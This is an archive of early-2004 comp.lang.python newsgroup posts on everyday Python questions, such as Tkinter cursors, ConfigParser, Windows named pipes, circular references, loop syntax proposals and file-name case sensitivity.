The cl-bibtex project implements readers and writers for BibTeX formatted
files in Common Lisp, which is a closer to Python than C or Perl:

        http://savannah.nongnu.org/projects/cl-bibtex/



From jcarlson at nospam.uci.edu  Sun Feb 15 10:57:11 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 15 Feb 2004 07:57:11 -0800
Subject: File creation, polluted name space?
In-Reply-To: <102v4ge1ea5so9a@corp.supernews.com>
References: <102v4ge1ea5so9a@corp.supernews.com>
Message-ID: <c0o51c$gl7$1@news.service.uci.edu>

> Does anyone know what's going on?
Yes

> Is the name space being polluted?
Yes

Try:

help(open)
import os
help(os.open)

Note the different arguments and help output.

  - Josiah


From hoi.wai at alumni.ust.hk  Wed Feb 18 11:32:27 2004
From: hoi.wai at alumni.ust.hk (Calvin FONG)
Date: Thu, 19 Feb 2004 00:32:27 +0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <c0uqfr$fcd$1@news.service.uci.edu>
References: <c0qc5j$2g52$1@news.hgc.com.hk> <c0r48l$2m1$1@news.service.uci.edu>
	<c0te8t$s06$1@news.hgc.com.hk> <c0uqfr$fcd$1@news.service.uci.edu>
Message-ID: <c1058u$26cd$1@news.hgc.com.hk>

Josiah Carlson wrote:
>> Thank Josiah, in fact, which newsgroup should I post
> 
> 
> It depends on what operating system you are running on.  Perhaps one of 
> the comp.os.* newsgroups would be more topical, or even comp.compression.
> 
> The reason this is not the correct newsgroup is because yours was not a 
> Python question.  A Python question would be something like, "How do I 
> run external programs from within Python?", which would result in 
> pointers to os.popen or os.system.  On the other hand, reordering your 
> question to make more sense to english speakers (without losing meaning):
> "I am using Powerarchiver.  It does not support all of the command-line 
> options that I desire.  Can someone point me to a program that creates 
> self-extracting archives with better command-line support?"
> 
> You'll notice that your question has nothing to do with Python.  It is 
> about zip files and executables.
> 
>  - Josiah
Thank Josiah,
	I get your point.
-calvin


From jorgencederberg at hotmail.com  Thu Feb 12 03:04:37 2004
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Thu, 12 Feb 2004 09:04:37 +0100
Subject: Mouse Cursors on Tkinter
In-Reply-To: <mailman.1482.1076524840.12720.python-list@python.org>
References: <002b01c3f0cc$86954530$447290c8@luz>
	<mailman.1482.1076524840.12720.python-list@python.org>
Message-ID: <qsGWb.1906$sp1.1488@news.get2net.dk>

Jeff Epler wrote:
> Here is a small program that works on my system (linux/X11)to change
> the cursor of a Tkinter window:
>     import Tkinter
> 
>     t = Tkinter.Tk()
>     t.configure(cursor=("@/usr/X11R6/include/X11/bitmaps/star",
>         "/usr/X11R6/include/X11/bitmaps/starMask", "white", "black"))
>     t.mainloop()
> 
> As noted in the tk8.3 Tk_GetCursor manpage, this "will not work on
> Windows or Macintosh computers".
> 
> Jeff
> 

Hi

actually you _can_ change the cursor on Windows computers:

from Tkinter import *
root = Tk()
root.configure(cursor='spraycan')
root.mainloop()

This will show a spraycan (quite ugly though) in the window.

The names of the cursors can be found in "Tkinter reference: A GUI for 
Python", located at http://www.nmt.edu/tcc/help/lang/python/tkinter.html

Regards
Jorgen Cederberg





From jzgoda at gazeta.usun.pl  Sun Feb  8 16:43:09 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 8 Feb 2004 21:43:09 +0000 (UTC)
Subject: fonts in PIL ?
References: <Xns9489E52CDD393stefninnospamyahoofr@213.228.0.4>
Message-ID: <c06ahd$1l9$4@atlantis.news.tpi.pl>

St?phane Ninin <stefnin at alussinan.org> pisze:

> All is ok, except that there seems to be no font coming with PIL.
> Where could I fond some ? 

http://effbot.org -- look for pilfonts in download section.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From merkosh at hadiko.de  Sat Feb  7 07:16:05 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sat, 07 Feb 2004 13:16:05 +0100
Subject: software design question
Message-ID: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>

Hi,

I have the following inter-class relationships:

__main__:  (in file LMCMain.py)
  imports module FileIO
  defines class LMCMain 
  instanciats main = LMCMain(...)

FileIO.py:
  defines class FileIO
  class FileIO needs to access "main" from LMCMain.py

In FileIO.py I've tried to "import LMCMain", but that causes the main
program to be re-executed. I only wanted to access to the main class
instance LMCMain.
My aim is a modular software design. I know this yields much communication
overhead and may become compilcate soon. Here I rely on "its not too slow"
and eventually perhaps psyco. 

A solution I could think of would be a Singleton. Both LMCMain.py and
FileIO.py import "singleton.py". LMCMain.py stores "main" in singleton and
FileIO.py accesses it.
I could also use a static class instead of a public module variable... I
don't really know whats better.

I'd like to fall back on some design pattern, but somehow you can only use
them, once you're used to them (i.e. theoretical knowledge does not
suffice).
I also learned much from the "logging" module and the Qt SIGNAL-SLOT concept
which IMO are excellently designed.

I know this is not strictly related to Python, but since I'm working in
Python I'd like to hear pythoneers suggestion to it.

Thanks in advance
Uwe


From dek at pabst.lbl.gov  Fri Feb 20 11:26:19 2004
From: dek at pabst.lbl.gov (David E. Konerding DSD staff)
Date: Fri, 20 Feb 2004 16:26:19 +0000 (UTC)
Subject: int vs. float in benchmark testing
References: <c152au$t58$1@solaris.cc.vt.edu> <40361F50.3D6153C8@engcorp.com>
	<c15899$ag1$1@solaris.cc.vt.edu>
Message-ID: <slrnc3cd9b.lo3.dek@pabst.lbl.gov>

In article <c15899$ag1$1 at solaris.cc.vt.edu>, Bart Nessux wrote:
> Peter Hansen wrote:
>> Bart Nessux wrote:
>> 
>>>Would adding .0 to each of the numbers below turn this into a floating
>>>point test? Seems too easy.
>>>
>>>def cpu_test():
>>>    import time
>>>    start = time.time()
>>>    x = 0                               # 0.0
>>>    while x < 9999999:                  # 9999999.0
>>>       x = x + 1                                # 1.0
>>>       print x
>>>    print (time.time()-start)/60
>>>cpu_test()
>> 
>> 
>> Uh, yes it would, as far as it goes, but are you sure you're
>> learning something useful by doing so?
> 
> Uh, yes. We're benchmarking different processors. An IBM PPC 970 does 
> things differently than an Intel P4. Running the same bit of Python code 
> on both makes for an interesting comparison. Since processors handle 
> ints and floats differently, it is useful for me to test them both.

I bet (significantly) more time is being spent in the python byte code processing machinery than the
actual chip-level instructions performing the integer and floating point math, so your
processor-differential results will be masked by that.  

Dave


From skip at pobox.com  Tue Feb 10 09:30:06 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 10 Feb 2004 08:30:06 -0600
Subject: Parsing files
In-Reply-To: <1076420233.7117.5.camel@hepntw161.pp.rl.ac.uk>
References: <A5AF6F04CF7FD311BC5700902773DDC701F65F07@exchange13.rl.ac.uk>
	<16424.56750.41777.193185@montanaro.dyndns.org>
	<1076420233.7117.5.camel@hepntw161.pp.rl.ac.uk>
Message-ID: <16424.60142.213921.37176@montanaro.dyndns.org>

    >> http://cvs.sourceforge.net/viewcvs.py/spambayes/spambayes/spambayes/Options.py?rev=1.104

    Rob> thanks, I've taken a look but I'm still unclear as to how the
    Rob> defaults work.  At the moment my config file has no section but
    Rob> when I create a new ConfigParser it complains that no sections are
    Rob> defined (so the parse fails).  Can I fool the ConfigParser by
    Rob> defining an 'empty' default and if do you know how?

I believe ConfigParser (and INI-type files in general) expect all options to
be grouped into sections.  If you don't need/want sections, why not just add
a [general] section into which you put all your options?  Failing that, you
could probably fudge things with something like this (untested):

    import tempfile
    import ConfigParser

    def parse_config_file(f):
        fd, fn = tempfile.mkstemp()

        # create a temporary config file with a dummy section
        cfg = os.fdopen(fd)
        cfg.write("[general]\n")
        cfg.write(file(f).read())
        cfg.close()

        # parse it
        config = ConfigParser.ConfigParser()
        config.read(fn)

        os.unlink(fn)

        return config

Skip



From guido at python.org  Mon Feb 16 12:55:18 2004
From: guido at python.org (Guido van Rossum)
Date: Mon, 16 Feb 2004 09:55:18 -0800
Subject: PyCon DC Early bird rate EXTENDED until Feb 22, 2004
Message-ID: <200402161755.i1GHtJC25824@c-24-5-134-209.client.comcast.net>

Due to overwhelming success, the early bird deadline for PyCon DC 2004
has been *extended* to February 22.  The early bird registration fee
is only $175 ($125 for students).  Monday the 23rd it goes up to $250
(really).

To register, visit:

    http://www.pycon.org/dc2004/register/

Speakers, you too!!!

DC 2004 will be held March 24-26, 2004 in Washington, D.C.  The
keynote speaker is Mitch Kapor of the Open Source Applications
Foundation (http://www.osafoundation.org/).  Famous C++/Java/Python
author/evangelist Bruce Eckel will give a closing keynote.  There will
be a four-day development sprint before the conference.

For all PyCon information:

   http://www.pycon.org/

See you all there!

--Guido van Rossum (home page: http://www.python.org/~guido/)



From tjreedy at udel.edu  Thu Feb 19 10:49:08 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 19 Feb 2004 10:49:08 -0500
Subject: Problems when destroy object which is referenced member objects
References: <a99ed18b.0402190557.51e501ed@posting.google.com>
Message-ID: <c12ltj$19r$1@sea.gmane.org>


"Minkyu Kim" <levites at lycos.co.kr> wrote in message
news:a99ed18b.0402190557.51e501ed at posting.google.com...

> class TestA:
>    def __init__(self):
>       print "init TestA"
>    def __del__(self):
>       print "del TestA"
>    def SetEvent(self, event):
>       self.event = event
>
> class TestB:
>    def __init__(self):
>       print "init TestB"
>       self.testA = TestA()
>       self.testA.SetEvent(self.Test)
>    def __del__(self):
>       print "del TestB"
>    def Test(self):
>       pass
>
> testB = TestB()
> del testB
> ---------------------
>
> I want to run this code that destroy testB and testB's member object
> testA. But no object destroy. I know testA increase testB's reference
> count, but why wouldn't python decrease testB's reference count? Had I
> do wrong something?

You created a circular reference loop of objects with __del__ methods.
Without adding 'del testB.testA' to break the loop, before the testB
deletion, the reference counts never go to 0.

I believe the gc garbage collector will also leave the loop alone because
of the __del__ methods.  Trying to watch gc in action stops it (!) because
__del__ methods can do (and have done) things that mess up the gc process,
so gc no longer tries when they are present.  So break the loop as
indicated above.

Terry J. Reedy






From wweston at att.net  Fri Feb 20 14:24:16 2004
From: wweston at att.net (wes weston)
Date: Fri, 20 Feb 2004 19:24:16 GMT
Subject: pass string to a os prompt
In-Reply-To: <c15kee$t1p$1@solaris.cc.vt.edu>
References: <c15kee$t1p$1@solaris.cc.vt.edu>
Message-ID: <A9tZb.58746$hR.1264942@bgtnsc05-news.ops.worldnet.att.net>

Bart,

 >>> x = raw_input('enter x: ')
enter x: 5
 >>> print x
5

or

d = tkSimpleDialog.askstring("","startdate",initialvalue=headDate)




Bart Nessux wrote:
> I'm writing a script that does some basic pre-configuration for our new 
> Macs (OSX 10.3.2). I'm trying to enable the root account automatically 
> with the script, but I don't know how to pass stings to the shell when 
> it stops and awaits input. For example,
> 
> os.popen('/usr/bin/sudo passwd root')
> 
> Cause the OS to respond with:
> 
> Password:
> 
> How do I pass my current user's password to the prompt? I know that I 
> need to store the password in a string in the script, but I don't know 
> how to feed it to the waiting shell.
> 
> P.S. I know this isn't safe. The script is for config purposes only and 
> will be used by sys-support personnel who know the root passwords 
> already. This script just *greatly* automates deployment and helps to 
> standardise how systems are configured in a lagre environment.
> 
> Thanks!
> 



From bkelley at wi.mit.edu  Mon Feb  9 10:55:14 2004
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Mon, 09 Feb 2004 10:55:14 -0500
Subject: Sharing Pipes in win32
In-Reply-To: <mailman.1356.1076281957.12720.python-list@python.org>
References: <mailman.1356.1076281957.12720.python-list@python.org>
Message-ID: <4027acfe$0$576$b45e6eb0@senator-bedfellow.mit.edu>

Nir of the Waves wrote:
> In windows platforms how can I make two processes hold two ends of the 
> same pipe?
> 
>  
> 
> os.pipe() returns reader and writer descriptors but how do I export one 
> of the ends to another process?
> 
>  
> 
> Note: popen() is not good for me since the new process is left without 
> tty input and output.
> 

I have a little namedpipe class that I use.  I stole it somewhat from a 
perl version a while ago.

"""Named pipe wrapper.

#server
from NamedPipe import NamedPipe
pipe = NamedPipe("mypipe")
pipe.connect()
pipe.write("foo")

#client
from NamedPipe import NamedPipe, CLIENT
import time
pipe = NamedPipe("\\\\.\\pipe\\test1", mode=CLIENT)
while pipe.select() is None:
     time.sleep(1)
print pipe.read()

"""
from win32pipe import *
from win32file import *
import pywintypes
import win32security, win32file
import string

SERVER = 0
CLIENT = 1
class NamedPipe:
     _header = '\\\\.\\pipe\\'
     def __init__(self,
                  pipeName,
                  mode=SERVER,
                  openMode=PIPE_ACCESS_DUPLEX,
                  pipeMode=0,
                  maxInstances=1,
                  outBufferSize=0,
                  inBufferSize=0,
                  defaultTimeOut=0,
                  securityAttributes=None):
         # fix the name if appropriate
         pipeName = self._fixName(pipeName)

         sAttrs = win32security.SECURITY_ATTRIBUTES()
         sAttrs.bInheritHandle = 1

         self._pipeName = pipeName
         # allocate a 100K readbuffer
         self._bufsize = 100000
         self._buf = win32file.AllocateReadBuffer(self._bufsize)

         if mode:
             WaitNamedPipe(pipeName, NMPWAIT_WAIT_FOREVER)
             self._pipe = CreateFile(pipeName,
                            GENERIC_READ | GENERIC_WRITE,
                            FILE_SHARE_READ | FILE_SHARE_WRITE,
                            None,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH,
                            None)

         else:
             self._pipe = CreateNamedPipe(pipeName, openMode, pipeMode, 
maxInstances,
                                          outBufferSize, inBufferSize, 
defaultTimeOut, securityAttributes)

     def __del__(self):
         if self._pipe:
             try:
                 self.disconnect()
             except pywintypes.error:
                 # I don't know why this happens...
                 pass

     def _fixName(self, pipeName):
         """(pipeName)->fixed pipeName
         Pipe names must start with header '\\.\pipe\',
         if the given pipeName
         does not, append the header to the pipeName"""
         if string.find(pipeName, self._header) != 0:
             return "%s%s"%(self._header, pipeName)
         else:
             return pipeName

     def connect(self):
         return ConnectNamedPipe(self._pipe, None)

     def disconnect(self):
         result = DisconnectNamedPipe(self._pipe)
         self._pipe = None
         return result

     def select(self):
         """returns None is the pipe has no data, self otherwise"""
         data, size, something = PeekNamedPipe(self._pipe, 1)
         if not data:
             return None
         return data

     def write(self, data):
         win32file.WriteFile(self._pipe, data, None)

     def read(self):
         length, s = win32file.ReadFile(self._pipe, self._buf)
         return s

if __name__ == "__main__":
     import tempfile
     import thread, time
     done = 0
     def runpipe():
         pipe = NamedPipe("test1")
         pipe.connect()
         pipe.write('Sending to pipe')
     def readpipe():
         global done
         pipe2 = NamedPipe("test1", mode=CLIENT)
         print pipe2.read()
         done = 1

     thread.start_new_thread(runpipe, ())
     thread.start_new_thread(readpipe, ())
     while not done:
         time.sleep(1)






From david.g.morgenthaler at comcast.net  Sat Feb 14 00:54:33 2004
From: david.g.morgenthaler at comcast.net (david.g.morgenthaler at comcast.net)
Date: Fri, 13 Feb 2004 22:54:33 -0700
Subject: PIL always raises "unrecognized image mode" exception with
	putdata()
References: <c9d82136.0402091223.1cdbe50c@posting.google.com>
Message-ID: <5rdr20hu2vq3qu2mjttjrsqh6eij3fa3on@4ax.com>

On 9 Feb 2004 12:23:33 -0800, noah at noah.org (Noah) wrote:

This worked just fine for me...
Win2000, Python 2.3.2,PIL 1.1.4

>How does Image.putdata() work? I am using PIL 1.1.3.
>This simple script throws an exception on putdata():
>
>    import Image
>    width = 10
>    height = 10
>    im = Image.new ("RGB", (width, height))
>    L = list(im.getdata())
>    k = 0
>    for y in range (height):
>            for x in range (width):
>                    L[k] =(127,127,127)
>                    k += 1
>    im.putdata(L, 1.0, 0.0)
>    im.save ('target_out.png', 'png')
>    
>I get this output:
>
>    Traceback (most recent call last):
>      File "test.py", line 13, in ?
>        im.putdata(L, 1.0, 0.0)
>      File "/usr/local/lib/python2.2/site-packages/PIL/Image.py", line 661, 
>          in putdata
>        self.im.putdata(data, scale, offset)
>    TypeError: unrecognized image mode
>
>In fact even the following trivial script fails:
>
>    import Image
>    width = 10
>    height = 10
>    im = Image.new ("RGB", (width, height))
>    im.putdata (im.getdata())
>
>It seems simple enough. What's the trick? Is my PIL too old?
>
>Yours,
>Noah



From paul at prescod.net  Tue Feb 17 10:50:53 2004
From: paul at prescod.net (Paul Prescod)
Date: Tue, 17 Feb 2004 07:50:53 -0800
Subject: PEP-315 ("do" loop)
In-Reply-To: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>
References: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>
Message-ID: <4032385D.6030003@prescod.net>

Wayne Folta wrote:

> ...  How about, instead, creating an "until" loop:
> 
> until line == "\n":
>     line = sys.stdin.readline()
> 
> Would be defined to work exactly like a while loop except the test is 
> not evaluated the first time through the loop. Wouldn't this be akin to 
> checking at the end of the loop, while maintaining a more while-ish syntax?

is maintaining a while-ish syntax the right thing to do? After all, the 
"until" code is conceptually evaluated at the bottom, not the top of the 
loop. I would naively think that "until" is just a "while" that inverts 
its condition. i.e.

until x <==> while not x

Nothing about the word "until" implies to me that it delays the loop 
test on the first go-round. PEP 315's syntax seems more clear to me.

http://www.python.org/peps/pep-0315.html

  Paul Prescod





From apardon at forel.vub.ac.be  Tue Feb 24 10:53:42 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 24 Feb 2004 15:53:42 GMT
Subject: Some language proposals.
Message-ID: <slrnc3mss6.pob.apardon@trout.vub.ac.be>

I'm rather new at this, so I don't know how I should
introduce this, nor whether these ideas are worth much
but here goes.

What I would like to change is access to variables on
an intermediate scope. Given the following example

def fun_1()

  a = some_value

  def fun_2()

    # a is never the one above.
    # on the left side of a statement.


The solution that I heard proposed was to use
a mutable variable. Something like


def fun_1():

  a = [some_value]

  def fun_2();

    a[0] = new_value
    


And of course if you had a number of such variables
you could group then in an object


def fun_1():

  class var_1:
    pass

  var_1.a = some_value
  var_1.b = a_value_too

  def fun_2():

    var_1.a = new_value
    var_1.b = next_value


Now my idea would be to look at the local variables in
a function like member variables of an object so that
you could write


def fun_1():

  a = some_value
  b = a_value_too

  def fun_2():

    fun_1.a = new_value
    fun_1.b = next_value


This could maybe even extended further is seeing functions
like some kind of module which would allow something like
the following


def fun_1():

  a = some_value
  b = a_value_too
      
  def fun_2():

    from fun_1 import a, b

    a = new_value
    b = next_value


What do people think about this?
As far as I know the proposal doesn't break existing
code and seems in the spirit of python.


On a side note, what would people think about the idea of
a from ... import ... statement usable on any object? So
that we could do:

class A:
  pass

A.a = ...
A.b = ...

from A import a, b

# from here a and be refer to A.a and A.b

-- 
Antoon Pardon


From http  Tue Feb 17 16:17:35 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 13:17:35 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
Message-ID: <7xptcdpfrk.fsf@ruckus.brouhaha.com>

Paul Prescod <paul at prescod.net> writes:
> Are you going to get the SAME PROGRAMMERS to solve the same problem
> twice? If so, the second language will have a big advantage. Are you
> going to get different programmers? How do you know they are the same
> skill?

Maybe it doesn't matter.  If you hire your programmers by running an
ad in the paper, and advertising "Python programmers wanted" gets you
better programmers than advertising "VB programmers wanted", maybe
that by itself is good enough reason to do your project in Python,
irrespective of whether Python is objectively better than VB.


From jzgoda at gazeta.usun.pl  Sat Feb 21 07:13:31 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sat, 21 Feb 2004 12:13:31 +0000 (UTC)
Subject: thread already started...
References: <mailman.135.1077356729.27104.python-list@python.org>
Message-ID: <c17i1a$81r$1@atlantis.news.tpi.pl>

sarmin kho <sarmin_kho at yahoo.com> pisze:

> ANY IDEA ON HOW TO STOP ALL THREADS INDEFINITELY WITHOUT CLOSING THE
> GUI??... python command 'sys.exit()' will exit from my main running
> code (the python GUI)...

I don't think it's possible. And even if it is possible, this would be a
bad idea, since threads may access and change some data -- forcing them
to terminate could wreak havoc on this data.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From michele.simionato at poste.it  Thu Feb  5 05:01:03 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 5 Feb 2004 02:01:03 -0800
Subject: class or function
References: <bvr58r$h1e$1@solaris.cc.vt.edu>
Message-ID: <95aa1afa.0402050201.7fa5c0f3@posting.google.com>

Bart Nessux <bart_nessux at hotmail.com> wrote in message news:<bvr58r$h1e$1 at solaris.cc.vt.edu>...
> What is the significant difference between using a class, like this:
> 
> class threaded_ddos(Thread):
>     def run(self):
>        pass
> if __name__ == '__main__':
> 
> Or, using functions, like this:
> 
> def threaded_ddos(Thread):
>     def run():
>        pass
>     run()
> threaded_ddos()
> 
> I'm trying to better understand this difference. I tend to use functions 
> that call functions instead of classes that contain functions which I 
> can import. To me, functions within functions are simpler. The results 
> of either method are the same, but I must ask which is preferred and 
> why? Are both OK depending on the application? I don't do inheritance 
> type stuff.

Using functions inside functions is somewhat less pythonic than using a
class. 

Argument 1: if I use I class, I get for free all the goodies
of Python introspection. For instance, I can get the list of defined
methods, whereas I cannot get the list of inner functions in a nested 
function. pydoc is happier with classes than with functions.

Argument 2: if I use a clas I can easily change attributes, whereas 
nested functions cannot modify variables in outer scope (unless I use 
dirty tricks such as putting the variables to be modified in a list).

Argument 3: Guido thinks that the obvious way to do things is with classes
and methods and not with nested functions (I infer this from the fact
that Python didn't have nested scopes till 2.1).

So, you can use nested functions in Python, but the language
is not intended for this and there are better alternative, even if
you don't use inheritance. So, my Python code contains few nested 
functions. On the other hand, my Scheme code is full of nested functions ;)

    Michele Simionato


From anton at vredegoor.doge.nl  Tue Feb 10 07:56:02 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Tue, 10 Feb 2004 13:56:02 +0100
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1398.1076388640.12720.python-list@python.org>
Message-ID: <4028d4f4$0$3996$3a628fcd@reader1.nntp.hccnet.nl>

"Terry Reedy" <tjreedy at udel.edu> wrote:

[bart]
>> Just asking for a bit of guidance. If my program works, should it be
>> re-written to use functions or classes?
>
>Working correctly is most important.  Next is running fast enough.  Then
>you can consider whether you or another person can read, edit, or reuse six
>months from now.  As for rewriting, would *you* gain some personal benefit
>from doing so?

I disagree with the order in which you list these things, but that
might be caused by whether one sees Python as a language to express
ideas or as a tool to accomplish a more specific task. For example I
am not a native English speaker, but I guess nobody would think it
more important to avoid all spelling errors than to get the idea
across.

Posting scripts and ideas that are in this stadium is a bit dangerous
and one may end up with some egg (or pie!) in ones face, but since
software development is promoted most by removing errors in the
*early* stages it's a good strategy I think. Of course this shouldn't
result in long posts here with completely unqualified code. 

However, asking specific questions about smaller functions is better
than posting 100+ lines of code and requesting that someone explains
why the script doesn't do what it is meant to do while it is still
unclear what a poster really wants the script to do.

While developing code I'm imagining a herd of virtual Python gurus
looking over my shoulder assisting me and requiring my code to be
readable ...

What I am trying to say is that if one develops code *as if* posting
it here, errors are detected sooner. And later errors are more costly
than early errors.

Anyway, I want more people to post code, even if it is not perfect!

Only after a lot of "eyeballing" and splitting the code up into
functions one should go to the next phase of testing the script for
possible errors and behavior in worst case scenarios. Of course Python
also accommodates for a grand unified style of programming, and both
styles can add value.

In the end well tested Python scripts often are readable and "obvious"
whichever method is used to produce them, which I think is a nice
effect of readable computer languages in general.

Anton


From max at NcOviSsPiAoMntech.com  Thu Feb  5 14:29:18 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Thu, 05 Feb 2004 19:29:18 GMT
Subject: [ANN]PyCrash 0.2 released
In-Reply-To: <a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
Message-ID: <iQwUb.180248$4F2.22043362@twister.nyc.rr.com>

Carmine Noviello wrote:

>>Sounds great but... Why GPL (and not python)? It will prevent a lot of 
>>us working grunts from using the module in the Commanie's code... And we 
>>want MORE python!
>>my 0.5c
> 
> 
> I have chosen the GPL without any special reason: I know it and so I
> simply used it. I?m not a license expert: I write code, no contracts.
> However, my major intent is to contribute to python community with this
> tool: so, if the type of licence can be a problem for the end-user I?m
> ready to change it in the future.
> 
> Bye

GPL license has a two-fold agenda (whether you like it or not):
- to protect the developer from liability (with our crazy lawers it is 
necessary for to protect yourself from some idiot misusing your generous 
contribution)
- (this is a political-socioeconomic one) to spread GPL virally into 
code that uses it to achieve world peace, prosperity and whatever in the 
way Richard Stallman envisions it. This is a complicated issue, and I 
personally prefer to avoid commiting my code to this vision without 
fully understanding the implications. What it basically means to me is 
that I cannot use your code at work, which is annoying.

An easy solution for you is to specify Python license with your code. 
(And I would be personally grateful)

thanks,
max



From jcarlson at nospam.uci.edu  Sat Feb  7 14:49:48 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 11:49:48 -0800
Subject: "ulimit -s" has no effect?
In-Reply-To: <87hdy2hpbb.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
	<877jyzeesq.fsf@dgp.toronto.edu>
	<c01qib$po6$1@news.service.uci.edu>
	<87hdy2hpbb.fsf@dgp.toronto.edu>
Message-ID: <c03fla$c2k$1@news.service.uci.edu>


> Interesting.  Alas, I don't think I can use this.  First, this seems to only
> apply to tail recursion, no?  In the Tarjan's algorithm recursion happens at
> the beginning, on the children of a given node, and then the results of that
> recursion are used in the computation for the current node.  Also, I think my
> locals() won't be "sane"... it contains a huge graph; from what I understand
> from the above, there would be multiple copies of it on `stack', and that's
> just not feasible due to memory constraints.

Though it sometimes takes work, _any_ recursive algorithm can be made 
iterative.  If you are willing to cough up your code (via email or 
otherwise), I'd be willing to give a shot at converting it.

As an example, DFS is not tail recursive, but I've converted a DFS 
algorithm for generating a browsable source tree for PyPE 
(pype.sourceforge.net).

In terms of your question about it keeping multiple copies of objects on 
the stack, really it only keeps multiple /references/ to objects on the 
stack.  Python 2.2+ standard nested scopes does the same thing.  The 
only difference is that we use a list as a call stack, rather than 
relying on the C stack for the Python call stack, which is what is 
limiting your program.

So yeah, want me to give the conversion a shot?
  - Josiah


From shalabh at cafepy.com  Fri Feb 20 16:36:12 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Fri, 20 Feb 2004 21:36:12 GMT
Subject: AOP and metaclasses
References: <9b5b9c27.0402200655.24b91718@posting.google.com>
Message-ID: <g5vZb.55195$1S1.39808@nwrddc01.gnilink.net>

Santiago Aguiar wrote:
> I know its possible to apply an aspect to all the classes by
> redefining __metaclass__, and that I can do the same with a single
> class by assigning to __metaclass__ inside the class definition.
> However, I want to avoid the last step, so i can apply the aspect to
> any class.

If one class has a __metaclass__ inside its definition, its subclasses will
use the same metaclass (unless they have another __metaclass__ in their
defintion). So you could define one class and use it as a base for the
specific classes that you want to affect.

--
Shalabh


From phleum_nospam at chello.se  Thu Feb  5 15:48:00 2004
From: phleum_nospam at chello.se (Carl)
Date: Thu, 05 Feb 2004 21:48:00 +0100
Subject: Where can I find DBL_EPSILON?
Message-ID: <tUxUb.2984$O41.86342@amstwist00>

Dear friends,

Does anyone know where can I find the Python equivalent of:

DBL_EPSILON 
DBL_MAX
DBL_MIN

I need them in order to run a piece of C code that I have converted to
Python.

Carl



From martin at v.loewis.de  Mon Feb  9 01:36:53 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 07:36:53 +0100
Subject: How to bound a method to a instance ?
In-Reply-To: <4026DC5D.591FB4FD@free.fr>
References: <4026DC5D.591FB4FD@free.fr>
Message-ID: <c079q4$ml7$00$1@news.t-online.com>

Emmanuel wrote:
> main module :
> --------------
> import toto
> 
> a = toto.toto()
> a.method() -> does something ...
> 
> reload (toto)
> now a is not reloaded...
> 
> a.method = toto.toto().method
> does not work, because a.method would be bounded to a new instance...

It might be best to change the class of a:

reload (toto)
a.__class__ = toto.toto

Then, a.method will automatically become the new method. Of course,
this will also change all other methods of toto, not just method.

If you really want to change only method, you could do

a.__class__.__dict__['method'] = toto.toto.__dict__['method']

That would change just method, but of all instances of the old
definition of toto.toto.

If you really want to change only one method, and only of one
object, you need to use new.instancemethod:

a.method = new.instancemethod(toto.toto.method.im_func, a, a.__class__)

Regards,
Martin



From seefeld at sympatico.ca  Thu Feb 12 09:31:43 2004
From: seefeld at sympatico.ca (Stefan Seefeld)
Date: Thu, 12 Feb 2004 09:31:43 -0500
Subject: replicating objects
Message-ID: <fdb915fdeca97fbb8a611927cbf1f62a402b8b08@Orthosoft.ca>

Hi there,

I'v got a composite object that I want to replicate
(say, similar to C++'s copy constructor). What is the
best way to implement that ? Are there any metaprogramming
techniques that could me help to achieve what I want ?

Thanks,
		Stefan





From tim.one at comcast.net  Sun Feb 22 12:27:52 2004
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 22 Feb 2004 12:27:52 -0500
Subject: Case sensitive file names
In-Reply-To: <b4a8ffb6.0402220858.7b9cbfb3@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEDBJBAB.tim.one@comcast.net>

[Thomas Philips]
> When opening a file with file.open(filename,"r") under Windows,

I'm not sure what you mean.  There's a file() builtin and an open() builtin
(which are the same thing), but there's no module named "file", and there's
no "open" attribute on the builtin file object.

> I find that the file name is case sensitive - any error in the case
> leads to the file not being found.

I don't.  Please give an example.  Here's mine:

C:\Code>dir/b tcap*
tcap.txt

C:\Code>\python23\python
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> open('tcap.txt')
<open file 'tcap.txt', mode 'r' at 0x006A79E0>
>>> open('TcAp.TxT')
<open file 'TcAp.TxT', mode 'r' at 0x006A7620>
>>> open('TCAP.TXT')
